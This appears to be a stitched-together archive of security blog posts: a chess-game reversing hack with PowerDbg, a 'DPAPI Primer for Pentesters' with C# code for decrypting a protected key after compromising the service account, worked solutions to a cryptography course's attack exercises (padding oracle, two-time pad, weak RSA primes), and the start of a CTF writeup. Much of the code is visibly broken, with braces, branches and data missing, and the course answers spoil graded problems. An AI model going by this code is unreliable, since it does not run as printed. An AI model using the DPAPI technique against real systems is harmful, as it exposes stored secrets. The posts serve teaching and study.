There are a ton of ways. Mona uses this and it looks awesome: I’m a python guy, so usually I’d go that route, but I’m trying to learn powershell so I decided to try going that route and use this For the powershell to work you need to install this module.

The first thing I want to do is change the hard coded value to something I can switch back and forth. So I tried setting a breakpoint that I could disable per turn

bp Chess!Bishop::GetPassiveMoves "r eip=Chess!Queen::GetPassiveMoves;g"

This was waaaay too slow for the game to be playable. I had to figure out something else. This is when I noticed just how similar the getpassivemoves functions are

0:012> uf Chess!Bishop::GetPassiveMoves
00c5d70a 8bff            mov     edi,edi
00c5d70c 55              push    ebp
00c5d70d 8bec            mov     ebp,esp
00c5d70f 8b4508          mov     eax,dword ptr [ebp+8]
00c5d712 c700f07ec300    mov     dword ptr [eax],offset Chess!Bishop::sPassiveMoves (00c37ef0)
00c5d718 a1e87ec300      mov     eax,dword ptr [Chess!Bishop::sPassiveMovesCount (00c37ee8)]
00c5d71d 5d              pop     ebp
00c5d71e c20400          ret     4
0:012> uf Chess!queen::GetPassiveMoves
00c5d7f8 8bff            mov     edi,edi
00c5d7fa 55              push    ebp
00c5d7fb 8bec            mov     ebp,esp
00c5d7fd 8b4508          mov     eax,dword ptr [ebp+8]
00c5d800 c700b880c300    mov     dword ptr [eax],offset Chess!Queen::sPassiveMoves (00c380b8)
00c5d806 a1b080c300      mov     eax,dword ptr [Chess!Queen::sPassiveMovesCount (00c380b0)]
00c5d80b 5d              pop     ebp
00c5d80c c20400          ret     4

They’re very close, and they’re the exact same number of bytes. We can just edit things on the fly, replacing the queen’s code with the bishop’s code and back again.

Import-Module PowerDbg

#global vars, populated later
$bishop_code = ""
$queen_code = ""

function bishop_to_queen
    $command =  "eb Chess!Bishop::GetPassiveMoves+a " + $queen_code
    Invoke-DbgCommand $command

function bishop_restore
    $command = "eb Chess!Bishop::GetPassiveMoves+a " + $bishop_code
    Invoke-DbgCommand $command

New-DbgSession -command 'C:\Program Files\Microsoft Games\Chess\Chess.exe'
Load-PowerDbgSymbols "srv*c:\debug*"

#get the bytes for the different bishop and queen functions
$bishop_array = (Invoke-DbgCommand "db Chess!Bishop::GetPassiveMoves+a L7").Split(" ")[2..8]
$bishop_code = [string]::join(" ", $bishop_array)

$queen_array = (Invoke-DbgCommand "db Chess!queen::GetPassiveMoves+a L7").Split(" ")[2..8]
$queen_code = [string]::join(" ", $queen_array)


$white_turn = $true
Invoke-DbgCommand "bp Chess!GameState::ToggleTurn"

#this loops once per turn
    if ($white_turn -eq $true)
        $white_turn = $false
        $white_turn = $true

    $ret_error = Invoke-DbgCommand "g"

    if ($ret_error.Contains("No runnable debugees"))


And there we go, a runnable chess game where white bishops are super powerful. There are a few quirks, like if a bishop gets a king into checkmate with a queen move it doesn’t seem to register and you can kill the king and keep playing, but overall pretty good :)


I am still a noob at reversing, but this was still a fun afternoon :)

DPAPI Primer for Pentesters

Update 6 July 2013 – fixed info when user store may decrypt on separate machine

Understanding DPAPI is not that complicated, although the amount of the documentation can be daunting. There is a lot of excellent “under the hood” DPAPI stuff available (e.g. Stealing Windows Secrets Offline But is it easier to steal these secrets online? The answer is yes, probably.

DPAPI’s purpose in life is to store secrets. These are frequently symmetric crypto keys used to encrypt other things. For example, typical use cases for these protected keys are for them to encrypt anything from saved passwords in an RDP connection manager on a Desktop to encrypting sensitive info in a database (e.g. bank account numbers). Using DPAPI to store sensitive info (or store keys that encrypt sensitive info) is good practice.

There are a few concepts to understand before using DPAPI

  • You can encrypt/decrypt the secrets using either a “user store” or a “machine store”. This is where the entropy comes from. What this means is:
    • If you use the user store, then this secret may only be read by this user on this machine. In the testing I’ve done, it cannot be read by the same domain user on a different machine either.
    • If you use the machine store, any user on the machine is able to decrypt the secrets – including Network User (e.g. IIS), Guest, etc. In the testing I’ve done, this is certainly less restrictive/secure than the user store (user store takes into account the machine also).
  • Secondary Entropy: One argument to the DPAPI calls is the secondary entropy argument. Using this, an application needs to know this secret before the data is decrypted.

A few common misconceptions

  • I’ve heard from several people how the user’s login password is used for entropy. This does not really tell the whole story.  An attacker does not need to know the password to retrieve DPAPI, they just need to be executing with the account/machine. This is often an easier problem than retrieving a password.
  • It can be easy to mix up DPAPI and other things that make use of DPAPI. For example, the credential store is an API that uses DPAPI

A pretend good setup

If things are done basically correct, then a good scheme might be something like this:

  • There’s a server database that stores encrypted bank account numbers 
    • It needs to decrypt these for regular use
    • The encryption/integrity of this data uses a good authenticated encryption scheme, say AES/GCM.
  • The question is, where do we store the key?
    • We use DPAPI in user mode to encrypt the data
    • The user used that can access the data is a locked down domain service account with limited permissions. For example, the service account can’t log in to the box, and is a different user than the database runs as.
    • The DPAPI encrypted blob is stored in an ACLed part of the registry so only the service account has access

An overly simplified example might be the following, which runs at deployment time.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Security.AccessControl;

namespace encrypt_dpapi
    class Program
        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";

        public static void WriteMachineReg(string path, string valuename, string value)
            RegistryKey bank_reg = Registry.LocalMachine.CreateSubKey(MASTER_REG_KEY_PATH);

            //set the ACLs of the key so only service account has access
            RegistrySecurity acl = new RegistrySecurity();
            acl.AddAccessRule(new RegistryAccessRule(SERVICE_ACCT, RegistryRights.FullControl, AccessControlType.Allow));
            acl.SetAccessRuleProtection(true, false);


            //write the key
            bank_reg.SetValue(MASTER_REG_KEY_NAME, value);



        //we want the symmetric key to be randomly generated and no one to even know it!
        public static byte[] genSymmetricKey(int size)
            RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
            byte[] buf = new byte[size];
            return buf;

        static void Main(string[] args)
            //check that we're running as the correct service account
            string user = WindowsIdentity.GetCurrent().Name;
            if (!user.Equals(SERVICE_ACCT, StringComparison.OrdinalIgnoreCase))
                Console.WriteLine("Error: must run as " + SERVICE_ACCT + " Account");
                Console.WriteLine("Exiting program");

            //generate a random key we'll use to encrypt bank accounts
            byte[] key = genSymmetricKey(256);
            Console.WriteLine("Key " + Convert.ToBase64String(key));

            byte[] additional_entropy = {0x41, 0x41, 0x41, 0x41};

            //dpapi encrypt the key
            byte[] enc_key = ProtectedData.Protect(key, additional_entropy, DataProtectionScope.CurrentUser);

            //dpapi encrypted key is saved in base64
            WriteMachineReg(MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME, Convert.ToBase64String(enc_key));


If I run this, I get

Key 721HLUm5n9/0hpAFtBl3Jvn2jJ+KM3z4mPKfyLCHOAZyx/JUP6qs+DCVpwWCqbmB3CZc+o6qXeY4

This is the base64 version of the key used to decrypt bank account numbers – so ultimately what we as attackers want. But if I look in the registry (where this info is stored) I get something completely different



So how can we get decrypted Bank Account Numbers?

Say we’re an attacker and we have system privs on the box above. How can we decrypt the bank account numbers?

There’s probably more than one way. One method may be to scan memory and extract the key from memory (but if it uses safe memory protection it may not be in there long…). Another method may be to attach a debugger to the app and extract it that way. For a production pentest, one of the most straightforward ways just to use DPAPI again to decrypt the data.

using System;
using System.Text;
using System.Runtime.InteropServices;
using System.ComponentModel;
using Microsoft.Win32;
using System.Security.Cryptography;

namespace decrypt_dpapi_reg

    public class registry
        public static string ReadMachineReg(string path, string valuename)
            return (string)Registry.GetValue(path, valuename, "problem");

    class Program

        private const string MASTER_REG_KEY_PATH = @"SOFTWARE\Contoso\dbapp";
        private const string MASTER_REG_KEY_NAME = @"bankkey";
        private const string SERVICE_ACCT = @"EVIL\_mservice";   

        public static byte[] UnprotectUser(string data)
                byte[] additional_entropy = { 0x41, 0x41, 0x41, 0x41 };
                byte[] encryptData = Convert.FromBase64String(data);
                return ProtectedData.Unprotect(encryptData, additional_entropy, DataProtectionScope.CurrentUser);
            catch (CryptographicException e)
                Console.WriteLine("Data was not decrypted. An error occurred.");
                return null;

        static void Main(string[] args)
            //must be run as a user with access on a machine with access
            string s = registry.ReadMachineReg(@"HKEY_LOCAL_MACHINE\" + MASTER_REG_KEY_PATH, MASTER_REG_KEY_NAME);

            Console.WriteLine("DPAPI encrypted key: " + s);

            Console.WriteLine("DPAPI encrypted key: " + BitConverter.ToString(Convert.FromBase64String(s)));

            byte[] decryptedbytes = UnprotectUser(s);


If we try to run this as another user, what happens? It won’t work. We’ll get an exception like this:

System.Security.Cryptography.CryptographicException: Key not valid for use in specified state.

   at System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData,Byte[] optionalEntropy, DataProtectionScope scope)
   at decrypt_dpapi_reg.Program.UnprotectUser(String data)

DPAPI uses the user entropy to encrypt the data, so we need to compromise the user. But what happens if we copy out the registry value to another machine and try to DPAPI to decrypt the secrets on another box as the EVIL\_mservice account, what happens?

It turns out in my testing this does not work, and I got the same exception as a bad user on the same machine. I needed to run on the same machine that encrypted the key. UPDATE However, there are several reasons it may not work, but it should work overall. From

DPAPI works as expected with roaming profiles for users and computers that are joined to an Active Directory directory service domain. DPAPI data that is stored in the profile acts exactly like any other setting or file that is stored in a roaming profile. Confidential information that the DPAPI helps protect are uploaded to the central profile location during the logoff process and are downloaded from the central profile location when a user logs on.
For DPAPI to work correctly when it uses roaming profiles, the domain user must only be logged on to a single computer in the domain. If the user wants to log on to a different computer that is in the domain, the user must log off the first computer before the user logs on to the second computer. If the user is logged on to multiple computers at the same time, it is likely that DPAPI will not be able to decrypt existing encrypted data correctly.
DPAPI on one computer can decrypt the master key (and the data) on another computer. This functionality is provided by the user’s consistent password that is stored and verified by the domain controller. If an unexpected interruption of the typical process occurs, DPAPI can use the process described in the “Password Reset” section later in this article.
There is a current limitation with roaming profiles between Windows XP-based or Windows Server 2003-based computers and Windows 2000-based computers. If keys are generated or imported on a Windows XP-based or Windows Server 2003-based computer and then stored in a roaming profile, DPAPI cannot decrypt these keys on a Windows 2000-based computer if you are logged on with a roaming user profile. However, a Windows XP-based or Windows Server 2003-based computer can decrypt keys that are generated on a Windows 2000-based computer.

Blackbox Detection

DPAPI can be really tough to do with a complete blackbox. As part of an engagement, if I’ve compromised this far, I usually go hunting for the source which is frequently less protected than the DPAPI protected asset. But one giveaway that you’re even dealing with DPAPI is if a blob has a structure similar to the following:


We can be a bit more scientific about this. Comparing two runs of the same program above gives the following bytes that are the same (note that since the key itself is random but a constant length, this reveals a bit about the structure). This is documented better elsewhere I’m sure, but if something looks quite a bit like this, it should give you a quick idea if you’re dealing with a dpapi encrypted blob.


Free Stanford ‘Intro to Cryptography’ Class Review

Last Spring I took my first coursera class, Introduction to Cryptogaphy taught by Dan Boneh. In college I took a few crypto classes, and I also deal with some crypto problems at work and in CTF. Although I’m definitely not a crypto expert, I had a pretty good background going into the class. Looking at the syllabus, I expected to work through a few interesting problems, but I didn’t expect to get too much out of it.

The class certainly exceeded my expectations. Here are the obvious things: Dan knows crypto backward and forward, and is a great teacher. The format was great – I liked being able to rewind videos at pieces I didn’t understand at first. The forum was also great – other students would answer my questions (I answered a few for other people also), and Dan himself would regularly chime in with answers to tricky problems people ran into.

One of the biggest reasons I think the class was so good was its focus on offense. I don’t really understand how defensive security people can try to defend stuff without understanding offense… yet the crypto classes I’d taken before tried to do exactly that. How was I supposed to understand why things needed to be done a certain way if I don’t know how it can break? Crypto books have been the same way – every crypto book I’ve read before (e.g. Bruce Schneier books) don’t seem to give much page space to offense. Dan brings the attacker’s perspective into every lecture, and I have a much better understanding of practical cryptography because of it.

I did manage to finish the class, but it was a lot more difficult than I expected (a good difficult :)) They seem to offer this class regularly, and I couldn’t recommend it more to anyone interested in cryptography.


Here are excerpts of my favorite problems he gave us to solve, and my solution for those problems. If you’re planning on taking the full class – spoiler alert. These questions might also be interesting if you don’t want to take an entire class, but just want to try and solve some super cool crypto problems. One note is all of these problems were optional, which was a decision made early on because he didn’t want programming to be a prerequisite. These problems are not required to get a coveted statement of accomplishment.

Week 1 – Two Time Pad (Reusing Stream Cipher Keys)


“Let us see what goes wrong when a stream cipher key is used more than once. Below are eleven hex-encoded ciphertexts that are the result of encrypting eleven plaintexts with a stream cipher, all with the same stream cipher key. Your goal is to decrypt the last ciphertext, and submit the secret message within it as solution. ” These ciphertexts are (sorry for the poor formatting, but you should be able to copy them out):

ciphers = [


The most important piece of this is to realize that XORing the ciphertexts together produces the xor of the plaintexts. Additionally, if you can guess at the next character for a given row, you can xor the ciphertext with what it should be to produce the key.

For example, if the ciphertext were 89 and the letter should be ‘e’, then

>>> hex(ord('e') ^ 0x89)

would equal the key. You can apply this key to all rows and when you get it wrong, everything looks wonky.

So to demonstrate, the first step is to get a foothold. I postulated 32510b was “the” because it was repeated several times at the beginning and ‘the’ is the most common trigram. Applying this as a key, everything looked correct (try another common one, like ‘and’, and it will look off). I went one key at a time from there, using the following program.


import sys
from optparse import OptionParser

#ciphers = ... #found above

class twotimepad:
    def __init__(self):
        #based on what we know so far...
        self.keysofar = [0x46, 0x39, 0x6e]

    def get_freq(self, charArray):
        letterdict = {}
        for i in charArray:
                letterdict[i] += 1
            except KeyError:
                letterdict = 1
        return letterdict

    def print_mSoFar(self):
        c_sofar = [i[0:len(self.keysofar)*2] for i in ciphers]
        for i in range(0,11):
            sys.stdout.write(str(i) + ".\t")
            for j in range(0, len(self.keysofar)):
                a = self.keysofar[j];
                b = int(c_sofar[i][j*2:j*2+2], 16)
                sys.stdout.write(chr(self.keysofar[j] ^ int(c_sofar[i][j*2:j*2+2], 16)))
            print ""

    def getnextchar(self, i):        
        nextchar = ciphers[i]
        nextchar = nextchar[len(self.keysofar)*2:len(self.keysofar)*2+2]       
        return nextchar
    def print_next_letter(self):
        for i in range(0,11):
            print (str(i) + ":\t"+ self.getnextchar(i))

    def add_key(self, num, letter='a'):
        if num == -1:
            self.keysofar = self.keysofar[:-1]
            self.keysofar.append(ord(letter) ^ int(self.getnextchar(num), 16))
    def run(self):        
        while 1:
            print "Current KEY"
            print self.keysofar
            print ("\r\nStuff so Far")
            print "\r\nNext Letter"
            num = int(raw_input("\r\n\r\nEnter next number (-1 for mistake): "))
            letter = raw_input("Enter letter: ")
            self.add_key(num, letter)
m = twotimepad()

This makes a program where you get a shell thing to eyeball one character at a time.


The final key was the following:

Key = [70, 57, 110, 137, 201, 219, 216, 204, 152, 116, 53, 42, 205, 99, 149, 16, 46, 175, 206, 120, 170, 127, 237, 40, 160, 127, 107, 201, 141, 41, 197, 11, 105, 176, 51, 154, 25, 248, 170, 64, 26, 156, 109, 112, 143, 128, 192, 102, 199, 99, 254, 240, 18, 49, 72, 205, 216, 232, 2, 208, 91, 169, 135, 119, 51, 93, 174, 252, 236, 213, 156, 67, 58, 107, 38, 139, 96, 191, 78, 240, 60, 154, 97]

And the final secret message was:

the secret message is: When using a stream cipher, never use the key more than once

Week 1 – Breaking a Linear Congruential Generator


The PRG described below uses a 56-bit secret seed. Running the program generates the following first nine outputs of the PRG:

output #1: 210205973
output #2: 22795300
output #3: 58776750
output #4: 121262470
output #5: 264731963
output #6: 140842553
output #7: 242590528
output #8: 195244728
output #9: 86752752

Show that this PRG is insecure by computing the next output. What is the next output (output #10) of the PRG? Note that you are not given the seed.

import random

P = 295075153L   # about 2^28

class WeakPrng(object):
    def __init__(self, p):   # generate seed with 56 bits of entropy
        self.p = p
        self.x = random.randint(0, p)
        self.y = random.randint(0, p)
    def next(self):
        # x_{i+1} = 2*x_{i}+5  (mod p)
        self.x = (2*self.x + 5) % self.p

        # y_{i+1} = 3*y_{i}+7 (mod p)
        self.y = (3*self.y + 7) % self.p

        # z_{i+1} = x_{i+1} xor y_{i+1}
        return (self.x ^ self.y) 

prng = WeakPrng(P)
for i in range(1, 10):
  print "output #%d: %d" % (i,


This looks like a Linear Congruential generator. from wikipedia: The period of a general LCG is at most m, and for some choices of a much less than that. Provided that c is nonzero, the LCG will have a full period for all seed values if and only if:[2]

The most important piece is maybe that it’s linear. Realize the following algorithm will take only about 2^28 guesses, one for every x.

For each x[i]:
  calculate what y[i] has to be, given that x[i] ^ y[i] = output[i]
  see if x[i+1] ^ y[i+1] == output[i+1]. If so, iterate, and we have a match

The following C# program calculates this very quickly, on my machine about five seconds.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace linear_prng
    class Program

        static void Main(string[] args)
            const int MAX = 295075153;
            int[] seq = new int[] { 210205973, 22795300, 58776750, 121262470, 264731963, 140842553, 242590528 };

            for (int x = 0; x < MAX; x++)
                int x_temp = x;
                for (int i=0; i < seq.Length-1; i++)
                    int y = x_temp ^ seq[i];
                    int x_next = (2 * x_temp + 5) % MAX;
                    int y_next = (3 * y + 7) % MAX;
                    if (seq[i + 1] == (x_next ^ y_next))
                        System.Console.WriteLine("{0}: Sol x {1} {2}", i, x_temp, y);
                        x_temp = x_next;
                        y = y_next;

Plug the output into the original python program in place of the random x and y, and calculate the next number, which is: 231886864

Week 2 – Insecurity of a Two Round Feistel


Recall that the Luby-Rackoff theorem discussed in Lecture 3.2 states that applying a three round Feistel network to a secure PRF gives a secure block cipher. Let’s see what goes wrong if we only use a two round Feistel. Let F:K×{0,1}32→{0,1}32 be a secure PRF. Recall that a 2-round Feistel defines the following PRP F2:K2×{0,1}64→{0,1}64:


Here R0 is the right 32 bits of the 64-bit input and L0 is the left 32 bits.

One of the following lines is the output of this PRP F2 using a random key, while the other three are the output of a truly random permutation f:{0,1}64→{0,1}64. All 64-bit outputs are encoded as 16 hex characters. Can you say which is the output of the PRP? Note that since you are able to distinguish the output of F2 from random, F2 is not a secure block cipher, which is what we wanted to show.

Hint: First argue that there is a detectable pattern in the xor of F2(⋅,064) and F2(⋅,132032). Then try to detect this pattern in the given outputs.

Then it gives some sample inputs and outputs

On input 0^64 the output is “2d1cfa42 c0b1d266”. On input 1^32 0^32 the output is “eea6e3dd b2146dd0”.
On input 064 the output is “7c2822eb fdc48bfb”. On input 132032 the output is “325032a9 c5e2364b”.
On input 064 the output is “290b6e3a 39155d6f”. On input 132032 the output is “d6f491c5 b645c008”.
On input 064 the output is “9d1a4f78 cb28d863”. On input 132032 the output is “75e5e3ea 773ec3e6”.


In the first round 0 is xored with the F(k1) and in the second 1 is xored with F(k1) so just looking at the first block, xor that with one and it should give us the first block of the second

This simple program does that xor

import sys

a = sys.argv[1].decode("hex")
for i in a:
sys.stdout.write("{0:02x} ".format(ord(i)^0xff))

print ""

Week 3 – Hash Collision


In this assignment your task is to find hash function collisions using the birthday attack discussed in the lecture.

Consider the hash function obtained by truncating the output of SHA256 to 50 bits, say H(x)=LSB50(SHA256(x)), that is we drop all but the right most 50 bits of the output. Your goal is to find a collision on this hash function. Find two strings x≠y such that LSB50(SHA256(x))=LSB50(SHA256(y)) and then enter the hex encoding of these strings in the fields below.

For an implementation of SHA256 use an existing crypto library such as PyCrypto (Python), Crypto++ (C++), or any other.


This code takes a few minutes, but it eventually finds a collision.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Security.Cryptography;
using System.Data.SqlServerCe;

namespace hash_collision
    class Program
        //given a seed, returns the first 50 byte hash
        //woops, the assignment asks for the last
        static Int64 getTruncatedHash(int seed)
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            Array.Copy(result, truncatedresult, 8);
            //last byte only car about two most significant bits, do & 0xB0
            truncatedresult[6] = (byte)(truncatedresult[6] & 0xB0);
            truncatedresult[7] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));


        //given a seed, returns the last 50 byte hash
        static Int64 getEncatedHash(int seed)
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(BitConverter.GetBytes(seed));

            byte[] truncatedresult = new byte[8];
            //Array.Copy(result, 0, truncatedresult, 23, 8);
            Array.Copy(result, 24, truncatedresult, 0, 8);
            //last byte only care about two least significant bits, do & 0x03
            truncatedresult[1] = (byte)(truncatedresult[1] & 0x03);
            truncatedresult[0] = (byte)(0x00);
            return (BitConverter.ToInt64(truncatedresult, 0));


        static void printStuff(int val)
            byte[] seed = BitConverter.GetBytes(val);
            foreach (int i in seed)
                System.Console.Write("{0:X2}", i); 
            SHA256 shaM = new SHA256Managed();
            byte[] result = shaM.ComputeHash(seed);
            foreach (int i in result)
                System.Console.Write("{0:X2}", i);

        static void Main(string[] args)

            for(int iter=0; iter<24; iter++)
                Dictionary<Int64, int> mhash = new Dictionary<Int64, int>();

                //I'd much rather do 2^25, but .net throws an outofmemoryexception... too bad it's not config
                //something like Java -xMx2G, which would be nice.
                int scaler = (int)Math.Pow(2, 24);
                for (int i = scaler*iter; i < scaler*(iter+1); i++)
                    Int64 fiftyhash = getEncatedHash(i);
                    if (mhash.ContainsKey(fiftyhash))                   {
                        mhash.Add(fiftyhash, i);

                System.Console.WriteLine("Done with iteration {0} :(", iter);


Week 4 – CBC with IV


An attacker intercepts the following ciphertext (hex encoded):

   20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d 

He knows that the plaintext is the ASCII encoding of the message “Pay Bob 100$” (excluding the quotes). He also knows that the cipher used is CBC encryption with a random IV using AES as the underlying block cipher. Show that the attacker can change the ciphertext so that it will decrypt to “Pay Bob 500$”. What is the resulting ciphertext (hex encoded)? This shows that CBC provides no integrity.


This is insecure because the first message block is xored with the random IV

20814804c1767293b99f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d
P a y B o b 1 0 0 $

9th char
0xb9 decrypts to 1
0xb9 xor ascii (1 xor 5)
0xb9 xor 0x31 xor 0x35
= 0xbd

20814804c1767293bd9f1d9cab3bc3e7 ac1e37bfb15599e5f40eef805488281d

Week 4 – Padding Oracle

A web site administrator found these log entries in a web server log. After some digging, the admin realized that the first log entry is an AES CBC encryption with random IV of some secret data (the ciphertext is hex encoded and appears right after the “GET /”). The secret data contains private user data that should only be known to the web site. 

After more digging the admin realized that the web site is vulnerable to a CBC padding oracle attack. In particular, when a decrypted CBC ciphertext ends in an invalid pad the web server returns a 403 error code (forbidden request). When the CBC padding is valid, but the message is malformed the web server returns a 404 error code (URL not found). To her horror, the admin realized that the log entries following the first entry are a result of a remote CBC padding oracle attack on the ciphertext in the first log entry. 

See if you can use the given log entries to recover the decryption of the ciphertext in the first log entry. Keep in mind that the first ciphertext block is the random IV. The decrypted message is ASCII encoded. 


There are plenty of good resources about the padding oracle. My favorite is probably this:

import sys

class oracleAnal:
    #Original doc at
    #The file processed here generated with cat ./proj4-log.txt | egrep " 404" | cut -f2 -d/ | cut -f1 -d " " > pad.txt
    def __init__(self, fname, debug=False):
      self.debug = debug
      self.iv = []
      self.requests = []
      #need to skip the iv (e.g. block 0)
      self.currBlock = 1
      for i in self.iv:
        self.decryptBlock(self.requests[16*self.currBlock:16*(self.currBlock+1)], i)
        self.currBlock += 1
    #this parses the request file into self.iv and self.requests
    def parseRequests(self, fname):
      f = open(fname)
      requests = f.readlines()
      for i in range(0, len(requests)):
        req = requests[i].strip()
        if(i % 16 == 0):
    #takes a string, decodes it, and splits it to a byte array  
    def decodestr(self, mstr):
      #blocks should be 16 bytes
      if(len(mstr) != 32):
        print "Error"
      mstr = mstr.decode("hex")
      s = [ord(ch) for ch in mstr]
      return s
    #each block in the list is of the 16 byte format like
    #e.g. 202020202020202020202020202020d8
    #and iv is the previous original 16 byte crypt block
    #e.g. cac544d7942e50e1a0afa156c803d115
    def decryptBlock(self, bList, iv):
        finalBstr = ""
        if self.debug:
            print "Decrypting a block with IV ", iv
        iv = self.decodestr(iv)
        for block in bList:
            decblock = self.decodestr(block)
            for i in range(0,len(decblock)):
                byte = decblock[i]
                #error here if the valid pad found is 0x20, but can manually fix later...
                #plus it's right 255/256 times :)
                if byte == 0x20:
                pad = byte
                padRes = 16-i
                tiv = iv[i]
                if self.debug:
                    print hex(pad), hex(padRes), hex(tiv)
                    print chr(pad ^ padRes ^ tiv)
                finalBstr = chr(pad ^ padRes ^ tiv) + finalBstr

m = oracleAnal("pad.txt")

Week 5 – Meet in the Middle

Problem (shortened to take out extras since formatting was messed up in copy)

Your goal this week is to write a program to compute discrete log modulo a prime p. Let g be some element in Z∗p and suppose you are given h in Z∗p such that h=g^x where 1≤x≤240. Your goal is to find x. More precisely, the input to your program is p,g,h and the output is x.

The trivial algorithm for this problem is to try all 2^40 possible values of x until the correct one is found, that is until we find an x satisfying h=g^x in Zp. This requires 2^40 multiplications. In this project you will implement an algorithm that runs in time roughly 240−−−√=220 using a meet in the middle attack.

(he gives an algorithm)

Now that we have an algorithm, here is the problem to solve:

p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

Each of these three numbers is about 153 digits. Find x such that h=g^x in Zp.


This was pretty straightforward.

import gmpy2

p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171
g = 11717829880366207009516117596335367088558084999998952205599979459063929499736583746670572176471460312928594829675428279466566527115212748467589894601965568
p = 13407807929942597099574024998205846127479365820592393377723561443721764030073546976801874298166903427690031858186486050853753882811946569946433649006084171

def calc1(i):
    denominv = pow(g, i, p)
    denom = gmpy2.invert(denominv, p)
    tval = gmpy2.mul(h, denom)
    retval = gmpy2.f_mod(tval, p)
    return retval

def calc2(i):
    return pow(g, (2**20)*i, p)

hasht = {}
for i in range(0,2**20):
    hasht[calc1(i)] = i
for i in range(0, 2**20):
    c2 = calc2(i)
    if c2 in hasht:
        print "x0: ", i
        print "x1: ", hasht[c2]

x = (((357984 * 2**20) + 787046)% p)
print x

Week 6 – RSA Poor Primes


Your goal in this project is to break RSA when the public modulus N is generated incorrectly. This should serve as yet another reminder not to implement crypto primitives yourself.

Normally, the primes that comprise an RSA modulus are generated independently of one another. But suppose a developer decides to generate the first prime p by choosing a random number R and scanning for a prime close by. The second prime q is generated by scanning for some other random prime also close to R. We show that the resulting RSA modulus N=pq can be easily factored.

Suppose you are given a composite N and are told that N is a product of two relatively close primes p and q, namely p and q satisfy
|p−q|<2N^(1/4) (*)
Your goal is to factor N.

Factoring challenge #1: The following modulus N is a products of two primes p and q where |p−q|<2N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 17976931348623159077293051907890247336179769789423065727343008115 \
    77326758055056206869853794492129829595855013875371640157101398586 \
    47833778606925583497541085196591615128057575940752635007475935288 \
    71082364994994077189561705436114947486504671101510156394068052754 \

Factoring challenge #2: The following modulus N is a products of two primes p and q where |p−q|<2^11*N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 6484558428080716696628242653467722787263437207069762630604390703787 \
    9730861808111646271401527606141756919558732184025452065542490671989 \
    2428844841839353281972988531310511738648965962582821502504990264452 \
    1008852816733037111422964210278402893076574586452336833570778346897 \

Factoring challenge #3: (extra credit) The following modulus N is a products of two primes p and q where |3p−2q|<N^(1/4). Find the smaller of the two factors and enter it as a decimal integer.

N = 72006226374735042527956443552558373833808445147399984182665305798191 \
    63556901883377904234086641876639384851752649940178970835240791356868 \
    77441155132015188279331812309091996246361896836573643119174094961348 \
    52463970788523879939683923036467667022162701835329944324119217381272 \


I only solved 1 and 2

import gmpy2
import math

class bad_rsa:
    def __init__(self, N):
        self.N = N

    def computePrime(self):
        for i in range (1, 2**20):
            self.A = gmpy2.isqrt(self.N) + i
            if self.verify():
                print "found it!"
                print self.p

    def calcX(self):
        Asquared = gmpy2.mul(self.A, self.A)
        remainder = gmpy2.sub(Asquared, self.N)
        self.x  = gmpy2.isqrt_rem(remainder)[0] 

    def verify(self):
        self.p = gmpy2.sub(self.A, self.x)
        self.q = gmpy2.add(self.A ,self.x)
        if gmpy2.mul(self.p, self.q) == self.N:
            return True
            return False

#problem 1
prob1 = gmpy2.mpz('17976931348623159077293051907890247336179769789423065727343008115' +
                   '77326758055056206869853794492129829595855013875371640157101398586' +
                   '47833778606925583497541085196591615128057575940752635007475935288' +
                   '71082364994994077189561705436114947486504671101510156394068052754' +
#problem 2
prob2 = gmpy2.mpz('6484558428080716696628242653467722787263437207069762630604390703787' +
                  '9730861808111646271401527606141756919558732184025452065542490671989' +
                  '2428844841839353281972988531310511738648965962582821502504990264452' +
                  '1008852816733037111422964210278402893076574586452336833570778346897' +

a = bad_rsa(prob2)
raw_input("Enter Key")

CSAW 2012 Quals Tutorial/Writeup

Better late than never! There are already tons of excellent writeups online (many more complete in terms of problems) but this is yet another one. If you’re new here, one thing I try to do is include all the files you need to follow along. So if you didn’t actually play in csaw, this is where my writeup might be worthwhile. These are the odd math problems with answers in the back of the text box :)

I played on ACME Pharm. We managed to solve all the challenges except network 400. We sort of gave up on it and quite a few teams passed us. After the CTF finished, I went back and solved several that looked interesting and other people on the team solved during the CTF. Point being, if I mess something up in this write-up it shouldn’t reflect poorly on the rest of the team :P

Exploits 200

Problem: exploit200

Cracking the binary open in IDA, we see this pretty early.

.text:08048D4B loc_8048D4B:                            ; CODE XREF: main+2DBj
.text:08048D4B                 mov     dword ptr [esp], 0 ; uid
.text:08048D52                 call    _setuid
.text:08048D57                 cmp     eax, 0FFFFFFFFh
.text:08048D5A                 jz      short loc_8048D74
.text:08048D5C                 mov     dword ptr [esp], offset aGotroot ; "gotroot"
.text:08048D63                 call    _perror
.text:08048D68                 mov     dword ptr [esp], 1 ; status
.text:08048D6F                 call    _exit
.text:08048D74 ; ---------------------------------------------------------------------------
.text:08048D74 loc_8048D74:                            ; CODE XREF: main+304j
.text:08048D74                 mov     eax, [esp+0F8h]
.text:08048D7B                 mov     [esp], eax      ; fd
.text:08048D7E                 call    handle
